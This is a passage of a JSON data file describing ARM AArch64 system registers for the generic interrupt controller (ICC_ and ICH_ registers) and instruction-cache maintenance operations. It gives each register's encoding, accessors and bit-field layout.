0}]}, {"fields": []}], "width": 64}, {"index": 0, "name": "ICC_AP0R0_EL1", "fullname": "Interrupt Controller Active Priorities Group 0 Registers", "enc": [3, 0, 12, 8, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "ICC_AP0R1_EL1", "fullname": "Interrupt Controller Active Priorities Group 0 Registers", "enc": [3, 0, 12, 8, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "ICC_AP0R2_EL1", "fullname": "Interrupt Controller Active Priorities Group 0 Registers", "enc": [3, 0, 12, 8, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "ICC_AP0R3_EL1", "fullname": "Interrupt Controller Active Priorities Group 0 Registers", "enc": [3, 0, 12, 8, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_AP1R0_EL1", "fullname": "Interrupt Controller Active Priorities Group 1 Registers", "enc": [3, 0, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "ICC_AP1R1_EL1", "fullname": "Interrupt Controller Active Priorities Group 1 Registers", "enc": [3, 0, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "ICC_AP1R2_EL1", "fullname": "Interrupt Controller Active Priorities Group 1 Registers", "enc": [3, 0, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "ICC_AP1R3_EL1", "fullname": "Interrupt Controller Active Priorities Group 1 Registers", "enc": [3, 0, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_ASGI1R_EL1", "fullname": "Interrupt Controller Alias Software Generated Interrupt Group 1 Register", "enc": [3, 0, 12, 11, 6], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "Aff3", "msb": 55, "lsb": 48}, {"name": "RS", "msb": 47, "lsb": 44}, {"name": "IRM", "msb": 40, "lsb": 40}, {"name": "Aff2", "msb": 39, "lsb": 32}, {"name": "INTID", "msb": 27, "lsb": 24}, {"name": "Aff1", "msb": 23, "lsb": 16}, {"name": "TargetList", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_BPR0_EL1", "fullname": "Interrupt Controller Binary Point Register 0", "enc": [3, 0, 12, 8, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BinaryPoint", "msb": 2, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_BPR1_EL1", "fullname": "Interrupt Controller Binary Point Register 1", "enc": [3, 0, 12, 12, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BinaryPoint", "msb": 2, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_CTLR_EL1", "fullname": "Interrupt Controller Control Register (EL1)", "enc": [3, 0, 12, 12, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ExtRange", "msb": 19, "lsb": 19}, {"name": "RSS", "msb": 18, "lsb": 18}, {"name": "A3V", "msb": 15, "lsb": 15}, {"name": "SEIS", "msb": 14, "lsb": 14}, {"name": "IDbits", "msb": 13, "lsb": 11}, {"name": "PRIbits", "msb": 10, "lsb": 8}, {"name": "PMHE", "msb": 6, "lsb": 6}, {"name": "EOImode", "msb": 1, "lsb": 1}, {"name": "CBPR", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_CTLR_EL3", "fullname": "Interrupt Controller Control Register (EL3)", "enc": [3, 6, 12, 12, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ExtRange", "msb": 19, "lsb": 19}, {"name": "RSS", "msb": 18, "lsb": 18}, {"name": "nDS", "msb": 17, "lsb": 17}, {"name": "A3V", "msb": 15, "lsb": 15}, {"name": "SEIS", "msb": 14, "lsb": 14}, {"name": "IDbits", "msb": 13, "lsb": 11}, {"name": "PRIbits", "msb": 10, "lsb": 8}, {"name": "PMHE", "msb": 6, "lsb": 6}, {"name": "RM", "msb": 5, "lsb": 5}, {"name": "EOImode_EL1NS", "msb": 4, "lsb": 4}, {"name": "EOImode_EL1S", "msb": 3, "lsb": 3}, {"name": "EOImode_EL3", "msb": 2, "lsb": 2}, {"name": "CBPR_EL1NS", "msb": 1, "lsb": 1}, {"name": "CBPR_EL1S", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_DIR_EL1", "fullname": "Interrupt Controller Deactivate Interrupt Register", "enc": [3, 0, 12, 11, 1], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_EOIR0_EL1", "fullname": "Interrupt Controller End Of Interrupt Register 0", "enc": [3, 0, 12, 8, 1], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_EOIR1_EL1", "fullname": "Interrupt Controller End Of Interrupt Register 1", "enc": [3, 0, 12, 12, 1], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_HPPIR0_EL1", "fullname": "Interrupt Controller Highest Priority Pending Interrupt Register 0", "enc": [3, 0, 12, 8, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_HPPIR1_EL1", "fullname": "Interrupt Controller Highest Priority Pending Interrupt Register 1", "enc": [3, 0, 12, 12, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IAR0_EL1", "fullname": "Interrupt Controller Interrupt Acknowledge Register 0", "enc": [3, 0, 12, 8, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IAR1_EL1", "fullname": "Interrupt Controller Interrupt Acknowledge Register 1", "enc": [3, 0, 12, 12, 0], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IGRPEN0_EL1", "fullname": "Interrupt Controller Interrupt Group 0 Enable register", "enc": [3, 0, 12, 12, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Enable", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IGRPEN1_EL1", "fullname": "Interrupt Controller Interrupt Group 1 Enable register", "enc": [3, 0, 12, 12, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Enable", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_IGRPEN1_EL3", "fullname": "Interrupt Controller Interrupt Group 1 Enable register (EL3)", "enc": [3, 6, 12, 12, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EnableGrp1S", "msb": 1, "lsb": 1}, {"name": "EnableGrp1NS", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_PMR_EL1", "fullname": "Interrupt Controller Interrupt Priority Mask Register", "enc": [3, 0, 4, 6, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Priority", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_RPR_EL1", "fullname": "Interrupt Controller Running Priority Register", "enc": [3, 0, 12, 11, 3], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Priority", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_SGI0R_EL1", "fullname": "Interrupt Controller Software Generated Interrupt Group 0 Register", "enc": [3, 0, 12, 11, 7], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "Aff3", "msb": 55, "lsb": 48}, {"name": "RS", "msb": 47, "lsb": 44}, {"name": "IRM", "msb": 40, "lsb": 40}, {"name": "Aff2", "msb": 39, "lsb": 32}, {"name": "INTID", "msb": 27, "lsb": 24}, {"name": "Aff1", "msb": 23, "lsb": 16}, {"name": "TargetList", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_SGI1R_EL1", "fullname": "Interrupt Controller Software Generated Interrupt Group 1 Register", "enc": [3, 0, 12, 11, 5], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "Aff3", "msb": 55, "lsb": 48}, {"name": "RS", "msb": 47, "lsb": 44}, {"name": "IRM", "msb": 40, "lsb": 40}, {"name": "Aff2", "msb": 39, "lsb": 32}, {"name": "INTID", "msb": 27, "lsb": 24}, {"name": "Aff1", "msb": 23, "lsb": 16}, {"name": "TargetList", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_SRE_EL1", "fullname": "Interrupt Controller System Register Enable register (EL1)", "enc": [3, 0, 12, 12, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "DIB", "msb": 2, "lsb": 2}, {"name": "DFB", "msb": 1, "lsb": 1}, {"name": "SRE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_SRE_EL2", "fullname": "Interrupt Controller System Register Enable register (EL2)", "enc": [3, 4, 12, 9, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Enable", "msb": 3, "lsb": 3}, {"name": "DIB", "msb": 2, "lsb": 2}, {"name": "DFB", "msb": 1, "lsb": 1}, {"name": "SRE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_SRE_EL3", "fullname": "Interrupt Controller System Register Enable register (EL3)", "enc": [3, 6, 12, 12, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "Enable", "msb": 3, "lsb": 3}, {"name": "DIB", "msb": 2, "lsb": 2}, {"name": "DFB", "msb": 1, "lsb": 1}, {"name": "SRE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_AP0R0_EL2", "fullname": "Interrupt Controller Hyp Active Priorities Group 0 Registers", "enc": [3, 4, 12, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "ICH_AP0R1_EL2", "fullname": "Interrupt Controller Hyp Active Priorities Group 0 Registers", "enc": [3, 4, 12, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "ICH_AP0R2_EL2", "fullname": "Interrupt Controller Hyp Active Priorities Group 0 Registers", "enc": [3, 4, 12, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "ICH_AP0R3_EL2", "fullname": "Interrupt Controller Hyp Active Priorities Group 0 Registers", "enc": [3, 4, 12, 8, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_AP1R0_EL2", "fullname": "Interrupt Controller Hyp Active Priorities Group 1 Registers", "enc": [3, 4, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "ICH_AP1R1_EL2", "fullname": "Interrupt Controller Hyp Active Priorities Group 1 Registers", "enc": [3, 4, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "ICH_AP1R2_EL2", "fullname": "Interrupt Controller Hyp Active Priorities Group 1 Registers", "enc": [3, 4, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "ICH_AP1R3_EL2", "fullname": "Interrupt Controller Hyp Active Priorities Group 1 Registers", "enc": [3, 4, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "P", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_EISR_EL2", "fullname": "Interrupt Controller End of Interrupt Status Register", "enc": [3, 4, 12, 11, 3], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Status", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_ELRSR_EL2", "fullname": "Interrupt Controller Empty List Register Status Register", "enc": [3, 4, 12, 11, 5], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "Status", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_HCR_EL2", "fullname": "Interrupt Controller Hyp Control Register", "enc": [3, 4, 12, 11, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EOIcount", "msb": 31, "lsb": 27}, {"name": "DVIM", "msb": 15, "lsb": 15}, {"name": "TDIR", "msb": 14, "lsb": 14}, {"name": "TSEI", "msb": 13, "lsb": 13}, {"name": "TALL1", "msb": 12, "lsb": 12}, {"name": "TALL0", "msb": 11, "lsb": 11}, {"name": "TC", "msb": 10, "lsb": 10}, {"name": "vSGIEOICount", "msb": 8, "lsb": 8}, {"name": "VGrp1DIE", "msb": 7, "lsb": 7}, {"name": "VGrp1EIE", "msb": 6, "lsb": 6}, {"name": "VGrp0DIE", "msb": 5, "lsb": 5}, {"name": "VGrp0EIE", "msb": 4, "lsb": 4}, {"name": "NPIE", "msb": 3, "lsb": 3}, {"name": "LRENPIE", "msb": 2, "lsb": 2}, {"name": "UIE", "msb": 1, "lsb": 1}, {"name": "En", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_LR0_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "ICH_LR1_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "ICH_LR2_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "ICH_LR3_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 4, "name": "ICH_LR4_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 5, "name": "ICH_LR5_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 6, "name": "ICH_LR6_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 7, "name": "ICH_LR7_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 8, "name": "ICH_LR8_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 9, "name": "ICH_LR9_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 10, "name": "ICH_LR10_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 11, "name": "ICH_LR11_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 12, "name": "ICH_LR12_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 13, "name": "ICH_LR13_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 14, "name": "ICH_LR14_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 15, "name": "ICH_LR15_EL2", "fullname": "Interrupt Controller List Registers", "enc": [3, 4, 12, 12, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "State", "msb": 63, "lsb": 62}, {"name": "HW", "msb": 61, "lsb": 61}, {"name": "Group", "msb": 60, "lsb": 60}, {"name": "Priority", "msb": 55, "lsb": 48}, {"name": "pINTID", "msb": 44, "lsb": 32}, {"name": "vINTID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_MISR_EL2", "fullname": "Interrupt Controller Maintenance Interrupt State Register", "enc": [3, 4, 12, 11, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "VGrp1D", "msb": 7, "lsb": 7}, {"name": "VGrp1E", "msb": 6, "lsb": 6}, {"name": "VGrp0D", "msb": 5, "lsb": 5}, {"name": "VGrp0E", "msb": 4, "lsb": 4}, {"name": "NP", "msb": 3, "lsb": 3}, {"name": "LRENP", "msb": 2, "lsb": 2}, {"name": "U", "msb": 1, "lsb": 1}, {"name": "EOI", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_VMCR_EL2", "fullname": "Interrupt Controller Virtual Machine Control Register", "enc": [3, 4, 12, 11, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "VPMR", "msb": 31, "lsb": 24}, {"name": "VBPR0", "msb": 23, "lsb": 21}, {"name": "VBPR1", "msb": 20, "lsb": 18}, {"name": "VEOIM", "msb": 9, "lsb": 9}, {"name": "VCBPR", "msb": 4, "lsb": 4}, {"name": "VFIQEn", "msb": 3, "lsb": 3}, {"name": "VAckCtl", "msb": 2, "lsb": 2}, {"name": "VENG1", "msb": 1, "lsb": 1}, {"name": "VENG0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICH_VTR_EL2", "fullname": "Interrupt Controller VGIC Type Register", "enc": [3, 4, 12, 11, 1], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "PRIbits", "msb": 31, "lsb": 29}, {"name": "PREbits", "msb": 28, "lsb": 26}, {"name": "IDbits", "msb": 25, "lsb": 23}, {"name": "SEIS", "msb": 22, "lsb": 22}, {"name": "A3V", "msb": 21, "lsb": 21}, {"name": "nV4", "msb": 20, "lsb": 20}, {"name": "TDS", "msb": 19, "lsb": 19}, {"name": "DVIM", "msb": 18, "lsb": 18}, {"name": "ListRegs", "msb": 4, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "IALLUIS", "fullname": "Instruction Cache Invalidate All to PoU, Inner Shareable", "enc": [1, 0, 7, 1, 0], "accessors": ["IC"], "fieldsets": []}, {"index": 0, "name": "IALLU", "fullname": "Instruction Cache Invalidate All to PoU", "enc": [1, 0, 7, 5, 0], "accessors": ["IC"], "fieldsets": []}, {"index": 0, "name": "IVAU", "fullname": "Instruction Cache line Invalidate by VA to PoU", "enc": [1, 3, 7, 5, 1], "accessors": ["IC"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "ICC_AP0R0_EL1", "fullname": "Interrupt Controller Virtual Active Priorities Group 0 Registers", "enc": [3, 0, 12, 8, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "ICC_AP0R1_EL1", "fullname": "Interrupt Controller Virtual Active Priorities Group 0 Registers", "enc": [3, 0, 12, 8, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "ICC_AP0R2_EL1", "fullname": "Interrupt Controller Virtual Active Priorities Group 0 Registers", "enc": [3, 0, 12, 8, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "ICC_AP0R3_EL1", "fullname": "Interrupt Controller Virtual Active Priorities Group 0 Registers", "enc": [3, 0, 12, 8, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_AP1R0_EL1", "fullname": "Interrupt Controller Virtual Active Priorities Group 1 Registers", "enc": [3, 0, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "ICC_AP1R1_EL1", "fullname": "Interrupt Controller Virtual Active Priorities Group 1 Registers", "enc": [3, 0, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "ICC_AP1R2_EL1", "fullname": "Interrupt Controller Virtual Active Priorities Group 1 Registers", "enc": [3, 0, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "ICC_AP1R3_EL1", "fullname": "Interrupt Controller Virtual Active Priorities Group 1 Registers", "enc": [3, 0, 12, 9, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "IMPLEMENTATION DEFINED", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_BPR0_EL1", "fullname": "Interrupt Controller Virtual Binary Point Register 0", "enc": [3, 0, 12, 8, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BinaryPoint", "msb": 2, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_BPR1_EL1", "fullname": "Interrupt Controller Virtual Binary Point Register 1", "enc": [3, 0, 12, 12, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BinaryPoint", "msb": 2, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_CTLR_EL1", "fullname": "Interrupt Controller Virtual Control Register", "enc": [3, 0, 12, 12, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ExtRange", "msb": 19, "lsb": 19}, {"name": "RSS", "msb": 18, "lsb": 18}, {"name": "A3V", "msb": 15, "lsb": 15}, {"name": "SEIS", "msb": 14, "lsb": 14}, {"name": "IDbits", "msb": 13, "lsb": 11}, {"name": "PRIbits", "msb": 10, "lsb": 8}, {"name": "EOImode", "msb": 1, "lsb": 1}, {"name": "CBPR", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_DIR_EL1", "fullname": "Interrupt Controller Deactivate Virtual Interrupt Register", "enc": [3, 0, 12, 11, 1], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_EOIR0_EL1", "fullname": "Interrupt Controller Virtual End Of Interrupt Register 0", "enc": [3, 0, 12, 8, 1], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_EOIR1_EL1", "fullname": "Interrupt Controller Virtual End Of Interrupt Register 1", "enc": [3, 0, 12, 12, 1], "accessors": ["MSR"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ICC_HPPIR0_EL1", "fullname": "Interrupt Controller Virtual Highest Priority Pending Interrupt Register 0", "enc": [3, 0, 12, 8, 2], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "INTID", "msb": 23, "lsb": 0}]}], "width": 64}, {"index": 0, "name": 